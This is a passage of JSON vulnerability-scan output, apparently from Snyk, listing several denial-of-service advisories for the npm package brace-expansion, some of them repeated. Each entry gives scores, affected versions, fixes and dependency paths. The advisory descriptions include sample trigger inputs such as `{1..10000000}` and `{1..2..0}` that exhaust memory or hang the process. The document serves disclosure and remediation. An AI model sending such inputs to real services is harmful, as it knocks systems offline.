"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to 